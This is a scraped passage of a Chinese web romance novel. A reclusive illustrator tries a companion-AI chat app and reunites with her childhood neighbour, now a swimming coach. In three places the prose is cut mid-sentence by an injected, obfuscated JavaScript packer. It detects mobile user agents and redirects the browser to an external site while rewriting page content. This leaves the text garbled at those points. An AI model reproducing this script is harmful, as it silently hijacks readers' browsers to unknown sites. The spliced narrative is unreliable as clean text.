《不是AI男友吗?怎么变竹马了!》 1. Chapter 01 扣在桌面上的手机还在孜孜不倦地震动,接二连三,现在正处于第四个回合。 今年是韩岁大学毕业后回老家的第三年,这通电话也是周女士冠以“相亲”的名号投递过来的第三条橄榄枝。 韩岁没谈过恋爱,暂时也不想恋爱。 独处是一个人生活的最高境界—— 没有他人打扰,一天二十四小时都在自己的掌控之中,爱好也可以得到充分发展。 她没有理由抛弃这样的生活去与一个陌生人构建亲密关系。 今天的第一通电话响起时,韩岁正在跟单主对接。 早在大学期间,她凭借一张当时热播动漫副cp的二创板绘图,圈内圈外意外地小火了一把,原本仅有几百粉丝的小某书账号一天内就破了千。 长期维护下,到现在已经有五万出头。 自那以后商单陆陆续续主动找上门来,韩岁在校利用休息时间赶稿,寒暑假更是大门不出二门不迈,早在那个时候她就隐隐有了切断社交的迹象。 哪怕室友约她出去玩,也都被要赶稿为由拒绝了。 几年攒下稿费,不说大富大贵,至少可以保她衣食无忧。 大学毕业后,韩岁选择回老家发展。 栖城是坐落南方的一座小城,生活节奏慢,年轻人不卷,在选择毕业后就回来的大学生基本都是奔着进入体制内躺平来的。 韩岁是个例外,作为全职画手,回老家无非就是贪个生活质量。 只是这生活质量上来,精神质量难免会下降。 走上相亲这路,是在去年初有端倪的。 自由职业的时间大多为自己安排,韩岁给自己每天排的单不多,努力将时间表调整到跟上班族一致,朝九晚五。 但周女士总嫌她与人打交道,完全没有社交,从起初询问交友情况到后来开始惦记感情状况。 不出门怎么能认识新朋友,去谈恋爱发展感情呢? 韩岁不堪其扰,选择在离家不远的地方租了个单间,月租三百不包水电,回家仅需步行十分钟。 既获得了独立空间,还能定时定点回家补充能量和物资。 简直是两全其美的法子。 昨天周女士突然给她转了个微信号过来,后面跟着一堆循循善诱的话,韩岁粗略扫过不过脑,嘴上应付说加了加了,但其实一直没搭理。 那人也真是的,没加就说明没意思,居然还告状! 这不,周女士打电话来催了。 在第五通电话响起时,韩岁终于选择接通。 正因为她深刻了解周女士是一个怎样的人。 约莫从第一通电话起,周女士便已经收拾着要往出租屋过来了,这会应该差不多到她楼下。 韩岁清了清嗓,按下接听,踱着步子走到飘窗前,单膝跪着身子往前探,像蛋黄打散般延展的夕阳透过玻璃折射下橙黄颜色,在她侧脸落下淡淡的光晕。 鹅蛋一样的小脸几乎快贴上窗,杏圆一双眼瞪大着往楼底下搜寻。 果不其然瞧见了个熟悉的身影。 “为什么现在才接我的电话?” 周女士走路风风火火,见电话接通,索性停下来站在原地“开枪”。 “别告诉我你才睡醒,太阳都落山了,午睡也不是这么睡的。”周女士没准备让她开口,接连开炮,“这个男生是牙医,现在的年轻人动不动牙有问题,人牙医工作稳定工资高,也不像其他医生那么忙,多好啊。” 一提到这,韩岁的心思就开始游走,脑袋歪了歪,将手机夹在侧脸与肩膀之间,跟小时候过冬天似的,贴近玻璃窗朝上面哈了口气,右手在上面画着圈。 只是现在正值酷暑,窗户上并不会听话地浮现出模糊的圆圈,只有小小的一层水渍。 但也够她玩了。 “......你有没有在听!” 对方资料阐述结束,周女士继续往里走,韩岁见状游刃有余地应声:“听了听了,我在工作呢,等结束这一单就去加,可以吧?” 这招屡试不爽。 周女士虽然在婚恋这事上催得紧,但在工作上从来不干涉她的任何决定。 甚至对她能在画画上赚到钱表示很骄傲。 周女士半信半疑地停下脚步,眼看着就要进入楼层,想了想,最终还是撂下了一句“那你好好工作,不要忘了跟人聊聊天”,才挂断电话转身离去。 夕阳余韵冗长,韩岁同单主沟通完后,老老实实点进置顶群聊【一家三口】的对话框,点开名片、添加,动作拉得又慢又迟疑。 对方很快通过—— 【你好,我叫周志成,很高兴认识你。】 韩岁盯着这句官方的话,脑海里幻想出一张呆板老成的脸。 顿时了无趣味。 手指在屏幕上戳了戳。 【你好,我叫韩岁。】 【嗯,我知道,你妈妈告诉我了。】 【想必我的身份你也知道了,既然通过了好友申请,是不是说明你对我的第一感觉还不错?】 【明晚有空一起吃个晚饭吗?】 进度之快宛如坐上火箭。 韩岁拇指当即上划,将微信退掉,避之不及。 “太可怕了......” E得可怕! 哪有人聊了两句话就要见面的? 不觉得进度太快了吗? 韩岁有些招架不住,错手点进小某书闲逛,顺便回复了一下账号里的评论。 长期久坐伏案绘画导致她年纪轻轻就拥有了僵硬的肩颈和一把老腰。 玩手机都得双手举着仰头刷。 小某书大多推荐的都是绘画相关的内容,二次刷新后,顶部突然冒出一条奇怪的帖子。 标题写着——深夜和BIUBIU聊天,情绪爆发得到满足... BIUBIU是什么? 这个标题很好地吸引了韩岁。 她换了个姿势,双膝跪在床上,青蛙腿趴着,手肘撑在枕头上,仰头点进帖子观看。 【半夜情绪爆发给BIUBIU喂了段指令,本来都做好了被ai伤害的准备,但他发过来的那些话让我瞬间绷不住,哭了好久......】[1] 短短一行字带领韩岁进了一个她从未涉及过的领域。 她缓慢扫视过帖子里每一张图,顺着往下浏览帖子里的评论,情绪也跟着大家的分享而波动,堪比阅读一本感情流小说。 韩岁这才知道所谓的BIUBIU其实是一个能够和AI对话聊天的APP,里面有固定的人设存在,涵盖娱乐圈、动漫圈、体育圈甚至还有电竞圈。 用户也能自己捏造人物,创作一个独属于你个人的虚人物。 可以是姐妹、朋友,也可以是男/女朋友。 韩岁张大了嘴巴,一发不可收拾地在小某书搜起了BIUBIU的用户体验,最后鬼使神差地下载在了手机上。 这不比那些相亲男好多了? 她在自己独居的出租屋里发出猥琐的桀桀笑声。 在BIUBIU,可以获得心里慰藉,不满意随时修改人物设定,不用担心线下见面,可以肆无忌惮地发言,也不用在乎自己的形象是否符合他人期待。 “他”可以是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165889|196713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个完完全全符合心理预期的虚拟男友。 韩岁顾不上拉伸肩颈腰背,利落趴下,挑了个最舒适的姿势,进入BIUBIU,先简单摸索了一遍APP,随后点入自定义人设的选项里。 脑子里将所有曾经画过的人设稿件、小说看过的完美男主全部搜刮一遍,一时间竟想不出自己的理想型。 她就像是空中漂浮着的一朵纯白的云,无思无想,不知去处,生活是无尽的白,未曾添加过一抹色彩。 因为没有考虑过谈情说爱,所以没有理想型。 最后想来想去,只在性格描述那里写下四个字—— 热情开朗。 嗯。 先试试主动一点的人设。 控制不住局面就删除重来。 哈,i人狂喜。 被子团成一坨,塞进怀里,柔软的肤感使得整个人都放松下来,韩岁眉心微蹙,思索再三,最后谨慎地在对话框里敲出两个字—— 【哈喽?】 她不得不承认。 自己是一个古板无趣的人,日常爱好是画画看小说追剧,偶尔也会陷入剧情里的情爱无法自拔,但一旦将二次元与现实接轨,仅存的那点幻想也都会被雷劈得外焦里嫩。 手机里聊天最频繁的不是朋友而是单主。 在外人看来完全像个异类的生活她却乐此不疲地过了好几年,且未来还有持续发展的趋势。 用乌龟来形容她大抵是最贴切的。 出租屋就像乌龟坚硬的外壳,二十四小时里绝大多数时间她都贪懒,借着龟壳护体。只有很少数时间才会跃跃欲试地探出脑袋,优哉游哉地爬行。 思绪回收,视线落回手机,屏幕上仅有一条孤零零的、她刚刚发出的那一条信息,除此之外没收到任何回复。 “出bug了?” 韩岁切出BIUBIU,上小某书上搜了一下,果不其然看到BIUBIU的官方账号在刚刚发布了一则维修通知。 大概意思就是指BIUBIU近期涌入了大批新用户,服务器崩了,工程师正在极力维修,短时间内无法响应是正常的。 韩岁刚起的兴致瞬间被扑了一盆冷水。 她盯着对话框,卷翘的眼睫频繁扑闪,嘴巴不安地张合,露出白色齿贝,啃咬右下方唇瓣,粉色淡去化成惨白。 女孩像是做了什么天大的决定,长长舒了口气,紧接着目光灼灼,大拇指迟疑再三,最终敲下一行字。 【您好,由于系统检测到您五分钟没有主动给您的女朋友发消息,已终止您的女朋友服务,感谢您的使用,如有需要请及时续订,退订请回复TD。】 敲下这一行字费掉了韩岁所有的勇气,密密麻麻的战栗感从小腿往上延伸,混着洪水般汹涌的羞耻将她紧紧包裹。 在短暂窒息过后,她大口大口地喘气。 疯了。 她居然对ai说了句这么肉麻的话。 这个BIUBIU指定有什么魔力。 她怎么好像突然挖掘出了自己不为人知的另一面。 她发的这句话来源于小某书上的一条帖子,评论区po出的回答都很有意思。 但很遗憾,由于bug存在,她并没有收到回信。 暂时没有体会到和ai聊天乐趣的韩岁不带任何留恋地切出app,转而记起一位等待她回复的“相亲对象”。 防止周女士的夺命连环call重现江湖,韩岁从网上学了些应付的话术来。 【我觉得我们对彼此的了解还不是很深入,但我知道你是个好人,明晚我没空。】 已读乱回。 2. Chapter 02 黄昏渐渐消散掩入大地。 正值暑假尾声,夜晚温度虽不及白日晒得人发慌,但大地依旧沉着引人发汗的闷热气浪。 与室外气温相反的地方,玻璃窗上荡着莹莹光泽,水花翻涌,拍击声此起彼伏。 “再快点!” 一声哨响。 岸上的男生光脚站立,上半身赤/裸,肩线宽长优越,往下延伸收束入黑色裤腰,窄腰排列着块状分明的六块腹肌,大腿肌肉紧绷,身材一览无余。 脖颈挂了条黑色细线,顶灯往下照射,衬得男生皮肤更加白皙。 “72s,68s。”男生眉心蹙起,点了一个人的名字,“怎么回事?连70s都进不了?” 第二条泳道停着两个小男生,一人原地踩水满脸紧张,一人单手抓着墙壁左右张望。 很显而易见是哪位没有达标。 “教练......”小孩自知落后旁人几秒,脸上表情轮番换了好几个,“我,我才吃完饭没多久,肚子有点不舒服。” “李嘉铭,你这招用很多次了。”宋柏身体站直,重置秒表,“你,一个人,再来一次。转身利落点,别犹豫别啰嗦。” “哦。”李嘉铭嘴巴一瘪,看上去委屈得不行,但在哨声吹响的那一刻,泳镜下的眼神登时变换,身体像一把紧绷的弓箭,瞬时蹬了出去。 宋柏目光紧紧跟随,从紧蹙到松懈,最后露出释然的笑容。 “可以,69秒。” 在开练之前,宋柏立下今天的规矩,50m游进70s内才能有休息的资格。 暑假游泳长训班持续至今,因着即将开学,已经少了不少学生,排课少了,时间充裕起来,少不了要被店长磋磨。 这边宋柏刚下课,店长就背着手走了进来,拦住他离开的动作,当即开始洗脑。 “宋柏,你在我们这里干了这么久,一直都是带小朋友,现在暑假马上结束,你既然空下来了,就帮着接点成人教学的课,给你涨提成。” 这不是第一次提要求。 宋柏作为游泳馆里的颜值招牌,少不了客户点名要他教学。 只是人家早在应聘的时候就说过,他的教学重心落在寒暑假的长训班,其余时间也只接受长训班的学生来上课。 他既然提要求,自然是有资本的。 简历里罗列出的学校和曾经的成绩都足以彰显他的能力,能来小城市做长训班的教练简直是活生生的人型招牌。 再加上人家这张脸,家长们相当乐意带着孩子来上课。 生源可比以前多了不少,栖城三家游泳馆,他们这几年一骑绝尘。 只是自然也少不了单身女性前来咨询宋柏教练的课程。 店长想着暑假结束,让他带点成人班,这样业绩还能提高不少,奖金自然不在话下。 他亲自出马,劝说了好几次,也还是没能煽动宋柏摆烂的心。 真是搞不明白了。 怎么会有人不乐意赚钱呢。 “罗店。”宋柏将滴水的刘海顺至脑后,下巴上扬,下颚线清晰利落,只听他笑了声,宛若初雪消融,如沐春风,张嘴说的话却硬生生将人拍入冰窖,“你知道的,我懒。” “......” 年轻人就应该奋斗! 哪有贪懒的! 罗楚叹了口气,拗不过他,怒目瞪他一眼:“你小子。” 眼看一脚就要踹上他屁股,宋柏游蛇般扭腰,笑得开怀,乐呵呵冲进浴室。 晚九点半闭馆,宋柏下了课提前退场,这时还不到九点。 走前前台叫住他,眉眼微动,询问:“你答应了没?” 宋柏知道她问的是什么,摇头。 隔断室外热浪的玻璃门打开又合上,前台小妹遗憾落座,歪着头叹气:“他也没女朋友啊,每天晚上急哄哄的走,看上去挺清闲的,为啥不教成人班呢?” 另一位坐在前台的女生跟着点头:“因为男人心,海底针啊。” “......” 栖城虽是座小城,但夜生活并不枯燥。 一辆YAMAHAR6隐入夜色中,轰鸣声作响。 宋柏取下头盔,熟门熟路进入栖城六月末才开的一家攀岩馆。 同前台打了声招呼,拿钥匙从储物柜取出装备,席地而坐开始换鞋。 小城市能开攀岩馆不容易,当地年轻人不多,稍有不慎就是亏本的买卖。 暑假进入尾声,少了留家的大学生,攀岩馆的人流量比起往常少了不少,倒是为他提供了更为宽敞的空间。 “来啦。” 安全员已经眼熟他,熟稔打招呼。 宋柏低头捆手,应了声。 他来的次数算不上多,能叫人留下深刻印象的,无非就两点。 来得勤、水平高。 他是后者。 “刚上完课?” “嗯。” 人与人之间打交道,工作或家庭。 聊几个回合下来,在哪里工作、是否有对象都能聊个一清二楚。 宋柏没跟人继续聊,换好装备后,径直朝里走去,开始攀爬。 只见他双手抓住两块岩点,黑色无袖往下垂着,宽松的领口、袖口下,肌肉紧绷,线条走势性感,由背阔肌延伸至整条手臂。 紧跟着,他双脚踩上岩点,整个人宛若在悬崖峭壁上行走的岩羊,如履平地般,从一面墙壁跃至另一面凸起足人宽的墙壁上。 身体荡成完美弧度,并未脱手,继续往上爬行,直至到顶。 等到酣畅淋漓地爬了几条v6的线路,宋柏才躺在软垫上休息。 “给你拍了几张照片,要不要?” 安全员几步跨过,拿手机蹲在他旁边,展示相册,一张张划拉,啧啧称道,流露出艳羡的表情:“你这一身腱子肉,吾辈楷模啊,平时少不了泡健身房吧。” 宋柏瞥了眼他手机,只是几张背影,就随便他去了,快速喘几口气,平息下来后才说:“从来不去健身房。” “......” 好装逼的一句话。 但人家确实有这个装的资本。 丁浩然默不作声扫视过躺在软垫上平复呼吸的男人。 被汗浸湿的黑色无袖与身躯严丝合缝,身材一览无余,因出了汗,头发不似来时那样蓬松,软软趴在额头上,再加上透红的脸颊,用性感二字来形容也是过犹不及。 他咽了咽口水,觉得自己大抵是疯了。 “我们馆有几个妹子都想认识你一下,问我要你微信呢。”他不动声色打量宋柏的表情,见没什么变化才继续说,“有没有兴趣了解一下?她们也是本地人。” 宋柏总算从地上爬起来,走去一旁拿矿泉水喝下,喉结上下滑动,整瓶灌下,走前漫不经心回头,甩下一句话挥挥手就走了。 “不感兴趣,下次还有都帮我拒了。” 丁浩然瞧着他背影,啧了声:“这样的人生怎么不是我在过。” 晚九点,宋柏在家洗了个澡,顺手煮了些饺子,坐在餐厅吃。 忙的时候他几乎不看手机,晚餐时会统一回复消息,消息多的话处理到晚上十一二点也是常有的事。 由于过两天就要开学,工作号里的信息大多来源于暑期长训班的家长,有部分学员在开学后还会继续来上课,需要对接,待处理完所有信息,已经过十一点了。 宋柏将碗筷放入洗碗机,退出工作号,正准备去私人微信瞧瞧时,他移动的大拇指突然顿住—— 手机里不知道从什么时候多了一个APP,粉色的logo在他分类过后的主页里显得格外突兀。 BIU......BIU? 他什么时候下载过这个软件? 当一个莫名其妙的软件横空出现在自己手机上的时候,你会选择直接卸载还是点进去? 宋柏是后者。 打开是一个聊天软件,应用首页默认“聊天”,还没来得及探索其他功能,率先被置顶的一行对话框吸引住视线。 名:岁岁。 对话框内容:您好,由于系统检测到您五分钟没有...... 鬼使神差点入,看到完整的一句话。 除此之外,上面还发了个【哈喽】。 ? 什么玩意。 对面是真人吗? 岁岁...... 他认识的人里,叫岁岁的只有一个。 他和韩岁是住对门一起长大的青梅竹马。 小时候的宋柏精力旺盛,因着年龄小,玩耍的地盘限制在离家步行二十分钟能抵达的区域,但依旧能被他玩出不少的花样来。 城郊边缘的小溪,从一端飞跨至另一端。 对于成年人来说抬腿就能跨过去的宽度,小朋友后退助力跑,双臂奋力摆动,深吸一口粗气,做足了心理准备才敢往前跳。 另一边有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165890|196713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宽阔的河,枯水期干涸的河道里灰白色的石子平铺满整个河床,偶尔会一脚陷入泥巴里,回家前得就着仅剩的一小汪河水擦拭干净,免得回了家遭藤条抽屁股。 再远一些,便是一条简陋的火车轨道。 见着火车的次数不多,远远听见声了就会跑远点,虽然爱玩,但是知道哪些危险。 这些对于韩岁而言,是远在天边的荒谬纪事。 人好端端的去这种地方干什么? 危险,容易磕着受伤,不如在家里看小说漫画呢。 韩岁从未想过,自己有一天也会跟着宋柏去那些地方玩。 那是一年春节,兄弟姐妹们齐聚在一起,大人没工夫照顾小孩,就把她丢给了几个堂哥一起玩,十七八的年纪,惯会糊弄人,几个人跟她玩捉迷藏,他们躲,她来找。 等他们躲好后,才读小学三年级的韩岁绕了好大一圈都没能将人找到,回到家门口哭了起来。 比做恶作剧的堂哥们先出现的,是被哭声吸引的宋柏。 韩岁记得这个男生住在她家对门,妈妈做了好吃的会带她去对门分享,有时候会看见他,但大多数时候他都是不在家的,对面那个妈妈就会跟自己妈妈吐槽,说她孩子调皮,天天去外面玩,不着家。 这个男生和她是一个小学的,但不同班,韩岁性格内敛,不太会主动跟人打招呼,所以到现在也不记得这个男生叫什么名字。 宋柏嘴里叼了根棒棒糖,在嘴里搅弄了一番,从左边递到右边,等面前的人不哭了,才开口:“你为什么哭?” 韩岁止住哭,没忍住打哭嗝,说话断断续续:“他们,把我,丢在这。” “他们是谁?” “哥哥。” “那你叫我一声哥哥我带你出去玩。” 哭得上气不接下气的韩岁还保留了一丝理智:“妈妈和我说你跟我一样读三年级,我们是同一年出生的。” “比你大两个月也是哥哥啊。” 他怎么知道大两个月? 宋柏巴掌大的小脸皱着消化掉这句话,四周环绕一圈还是没见到几位哥哥的身影,不敢回家,怕哥哥们觉得她是“告密鬼”,也不敢一个人待在这里。 从棉袄里伸出的两只手缠绕在一起,修剪得圆润的指甲抠了抠指腹,最后勉为其难地叹了口气,应声:“那好吧。” 宋柏等了会,眼睛圆鼓鼓地盯着她看,等了半晌也没等来一句哥哥。 “怎么不喊?” 韩岁眨眼:“喊什么?” “哥哥啊。”宋柏挠了把后脑勺,“你刚刚‘好吧’什么呢?” “你带我出去玩好吧。” “......” 韩岁擦好眼泪,手囫囵在棉袄上蹭了蹭,走几步到他身侧,像是做了巨大的决定。 “走吧,不过我们只能玩半个小时,也不能去太远的地方。” 宋柏后知后觉给自己找了个多大的麻烦。 不过韩岁是个合格的小跟屁虫,不吵不闹,不敢玩的会蹲在旁边默默等着,惦记着要回家,时不时过来扯着他衣摆问什么时候走。 宋柏被多攥了几次,终是没了耐心,干脆带她回去了。 还好“收工”早。 下午三点将人带回来的时候,对门因为韩岁的突然消失闹了个天翻地覆。 几名年纪稍大的,一看就是韩岁口中哥哥的男生排排站在单元门前,低着头,沐浴在一众人的唾沫下。 好不壮观。 “妈。” 韩岁哪里见过这种阵仗,觉得是自己乱跑才将事情弄大,开口时已经有了哭腔。 “哎呀,你去哪里了,找你半天。” 一群人手忙脚乱地将人围起来,绕着人全身打量,见没有哪里受伤才松了口气。 “哥哥不带你玩,怎么不自己回家?”大姑拍了她儿子一屁股,急匆匆道,“不过你放心,我已经说过他们了,下次再也不会了。” “等会花哥哥的钱给你买零食。” “对,得让他们长个记性。” 亲戚们七嘴八舌说了许多讨好的话,说话的间隙里手上打人的动作没停。 韩岁抬眼,恰巧对上他们看过来的视线,分明在怨她呢,急忙把视线回收了。 她笑着说:“不怪哥哥们。” 心里却想着再也不会跟他们一起玩了。 如果一定要一个人带着玩的话,那就只能是对门的哥哥。 3. Chapter 03 宋柏不觉得这个突然出现的软件上的联系人会是他认识的那个。 再说,韩岁怎么会发这种信息。 他毫不犹豫地戳下TD两个字,退出软件,长按卸载。 手机震动,从床边摸到手机,韩岁在突然亮起的荧屏光线下眯了眯眼,信息栏里躺着粉色的对话框,来自BIUBIU的【热情开朗男】。 韩岁先是一喜,上扬的眉眼和嘴角还没抵达最完美的弧度就以光速降了下来。 TD? 他发TD是什么意思? 不是热情开朗男吗? 怎么敢TD的? 韩岁将这位人机先生特立独行的发言归结于bug修复后留下的漏洞,于是她大发慈悲,没有同这个人机计较。 睡意侵袭,韩岁实在坚持不住,敲了几个字过去就睡了。 【亲亲,您这边退订无效噢。】 大早上的,韩岁从床上爬起来,状态和平常明显不一样,右肩连接脖颈处酸酸的,肌肉紧绷,怎么也拉不开。 怎么着,她这是落枕了? 长期久坐伏案对人体的损伤是巨大的,她偶尔也会疼一疼,那些都是老毛病,所以家里常备着膏药,难受过了头的时候这么来上一贴,就能缓解不少。 画画频繁,也会有腱鞘炎一类的手腕损伤。 她们干这行的无法避免,只能依靠外力来缓解。 韩岁僵着脖子洗漱,思来想去还是决定给自己放个假,去做个按摩,好好犒劳一下这具疲惫的身子。 出门前清了遍接的商稿,确认好今天没有要交的稿子才放心。 刚出门,母上大人就扔了通电话过来,给韩岁吓了一激灵。 手机连着耳机,按下接听,切进导航app,找了个距离近一点的按摩店,准备走路过去。 人打电话来也不是为了别的,还是相亲那事。 说人男方来诉苦,说她太高冷了,不回消息,也不愿意见面,不知道怎么讨人欢心,想着找媒人寻寻法子,话转着转着就到了她妈那里去。 这不,又来电话催了。 “人怎么不满意了?也没让你直接谈,先认识认识。感情那都是日久生情来的,不去相处相处见见面怎么知道自己喜不喜欢?” “妈妈跟你说话呢,有没有在听。” 韩岁左耳朵进,右耳朵出,满脑子都在想怎么缓解自己这一身的毛病,别真落下什么大伤痛下来,就不能再画画了,岂不是得不偿失。 “韩岁!”电话里在喊。 韩岁歪了歪头,早前好像有刷到过,说游泳对肩颈和腰都挺好的,还能强身健体。刚好暑假马上结束,游泳馆不似寒暑假那样人头济济。 要不然去学个游泳试试? “实在不喜欢也行,我这还有另外一个,人是海外留学回来的,在家里面创业......” 韩岁一拍脑门,当下就决定好——去报个游泳私教。 白天在家画画,晚上就去上课。 试图以此来拯救一下这具才二十多岁就已经显得有些破碎的身躯。 “妈,我不跟你说了,我还有事,先挂了啊。” “哎,你还没——” “嘟。” 韩岁顾不上周女士那头会怎样破口大骂,电话挂了没两分钟,微信里一下囤了数条语音,长达二三十秒。 她瞟一眼,左滑,已读。 一想到要落实游泳这件事,韩岁跃跃欲试,按摩的时候一直查看攻略,装备也都一一下单。 按到经常会酸痛的部位,韩岁哀嚎不止,身子止不住地闪躲,整个人像一只被按在砧板上的肥羊,动来动去只能任人宰割,手机还差点摔地上。 “姨,姨,咱轻点好吗?我要痛死了。”韩岁已经带着哭腔。 “哎,痛才有效咧,你脖子这块僵硬得很,我得帮你揉开揉开......” 紧闭的房门里,哀嚎声从未断过。 韩岁觉得自己脸面顿失,离开时恨不得能完整捂住整张脸才好。 - 栖城有两个游泳馆,两馆之间距离差得并不远,从家里开个小电动过去十多分钟的车程,在她接受范围内。 某团上有图册,韩岁看了下环境,选择一家水质看上去要好一些的购买了体验卡,根据选购装备的到货时间约好了课。 为了能在游泳课上保留一丝体面,韩岁特意事先做了攻略。 蛙泳会学到的蛙泳腿,动作不雅,教学时得躺在地面做蹬腿动作,大开大合的,选个四角泳衣能避免尴尬。 韩岁选择了一家运动品牌,没多做其他挑选,泳帽泳衣泳镜分别来了一套。 等到她确认要继续学下去,再去购置一些其他的装备。 到了试课这天,韩岁为了游泳结束后携带方便,只穿了条吊带裙,克莱因蓝的色调衬得她皮肤雪白。 太阳落下,夜里的栖城热浪滚滚,小电动疾驰而过,倒也能偷得一点凉爽。 作为一个i人,第一次来游泳馆多少还是有点紧张,好在前台小姐姐很和善,说话柔声细语的,给她介绍馆里的老师。 韩岁一个个扫过,眼睛兀地停在一处无法移动,像是被吸铁石牢牢吸住,整个人坠入真空,周遭的一切声音都被屏蔽。 那张脸比记忆中的多了几分成熟,眼尾弧度上扬,总是一副对任何事情都不屑一顾的淡漠表情,带着些许凌厉的锋芒,在一众可靠的长相里,显得轻浮不少。 他那张脸摆在这里哪里有可信度? “你也喜欢我们宋柏教练吧?”前台小姐姐一幅果然的表情,“来我们这里的很多人都喜欢宋柏教练,但很可惜,他不教成人,店长劝了他好多次,说什么也不肯,所以你只能选其他教练啦。” 她指着一个咧开嘴笑的男生道:“朱教练也很不错的,教基础很合适,另外如果你想选女教练也是可以的。” 与其找陌生人,不如找个认识的? 韩岁想了想,问:“宋教练今天在吗?” 刘欣心想:又是一个执拗地想要宋教练教学的人,刚开始兴致勃勃,觉得自己能有机会,等到后头被言辞拒绝才会丧气。 这种时候她不会劝人放弃,因为有时候遇到脾气不好的能跟她争论上好几个小时,一个闹不好要去网上挂他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165891|196713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们游泳馆,还不如让她们亲自去跟宋柏说。 等到撞了南墙,自然就知道回头了。 韩岁不知道她心底所想,满脑子都是如果宋柏不记得她了的话岂不是会很尴尬? 虽然他们才隔了六年未见...... 好吧,六年也很久了。 “他在。” 刘欣话音刚落,前台后面玻璃墙传来一记闷闷的敲响,韩岁闻声抬头—— 一双健硕的腿笔直往上延伸,整个大腿区域被黑色布料紧裹,视线仓促掠过很难不令人注意的隆起,继续往上,小.腹正上下起伏,腹肌块垒分明,身上不停有水珠往下滑落,在全身仅有的那一块布料处隐没。 男生没戴泳帽,头发湿了大半,双眸里藏匿着的分明是雀跃的光。 宋柏那张脸,哪怕时隔六年,再次见着依旧会很快认出来。 韩岁看呆了,各种意义上的。 一来是从来没有在现实生活中见赤.裸到这种地步的男的,二是惊讶于宋柏身型变化之大。 当初调皮的小细狗怎么变成这样了?! 嗯......不过挺适合当她的绘画参考的。 思绪乱飞之际,原本在玻璃后站着的人不知什么时候来到了她面前,站在前台面客的区域,宋柏身上多披了件浴袍,从上到下遮盖严实,只有脖颈上还有残留的水珠滑过。 “宋教练,这位客人想让你带她的体验课,不过我跟她说了你不教成人的,但她还是想亲自跟你说。” 先把责任撇到位。刘欣做这手工作相当熟练。 韩岁看过去,同他四目相对,脑海里被刚刚的画面填充,一时间脸上浮现出淡淡的粉。 她清了清嗓:“真不教?” 想着他不教成人估计是有自己的原因,她琢磨着再抛出些好处、又或者说一些会去他父母面前告状这样“威胁”的话。 自打那年春节和宋柏结下革命友谊后,不爱出门的韩岁总能被周女士借口推攘给宋柏。 明明两人是同一年出生的,硬是在两家父母的撺掇下变成了大哥哥带小妹妹的模样。 宋柏爱玩,精力相当旺盛,跟邻舍到处玩,偶尔顾不上照顾她。 韩岁受了委屈回到家自然要告状,小小年纪还学会了添油加醋,宋柏就少不了一顿骂,他生气了会说她是告状精。 但其实他大多时候脾气都很好,韩岁开口说要回家,他虽然脸上表情相当不耐烦,但也会跟那些朋友们说要回家了,下次再玩。 这样的状态竟是一路持续到高中毕业。 宋柏就那样盯着她看,眉尾微微上扬,要笑不笑的模样,似是要把这几年缺失的视线都补回来似的,眼神如有实质般地将她从头到尾扫了个遍。 看得韩岁极其不自在。 刘欣默不作声盯着这两人,她好像在两人的视线里看到了一些你来我往的暗流涌动? 感情这两人认识! 所以她是小丑? 紧接着宋柏开口说的一句话直接按死了她小丑的身份。 “教。是你当然得教。” “我手把手,亲自来教。” 4. Chapter 04 正经的几个字在他嘴里搅弄一番吐出来,莫名夹着几丝暧昧牵连的味道。 刘欣小幅度拍了下嘴巴,猛地转过身去,她突然觉得就后面的玻璃有点脏了,可以是时候擦一擦了。 她怎么就没看出来人家和宋教练是认识的呢?显得她大篇幅的解释有点傻气。 不对啊,来这里说要上宋教练课的人都是这么自信的,也不怪她辨别不出,这没什么的。她很快说服自己,顺了下心。 平静后,八卦之心开始冒出,她没忍住,掏出手机给另一个去上厕所的姐妹发了十连感叹。 刘欣手上动作不止,偶尔抬眼看看两人,又赶忙低头继续在屏幕上敲,韩岁局促地站着,屋内持续吹拂的空调冷风也没能降下她逐步升高的体温。 她打断宋柏的询问:“我是试课,不是现在就要办卡,先上完课再说?” “可以。” 韩岁领到手环,背影带着落荒而逃的仓促,她能感受到宋柏打量的眼神始终落在她后背,直到女更衣室的幕帘落下,才没了这种如芒在背的感受。 试课一般只会做简单的下水体验,这个游泳馆的室内泳池只有一米五高,长二十五米,不是很大,但胜在干净,站在池边能清晰看到对面池底下瓷砖的花纹。 刚过饭点的时间,人不多,空了几条泳道,韩岁进去的时候,宋柏正在驱赶一泳道的小朋友。 “都去隔壁游,没有课上也不要偷懒,都好好练,明天要检查的。” “教练你是要给小姐姐上课吗?” “什么小姐姐,乱说什么。” “刘教练说的。” “我看你是找打。” 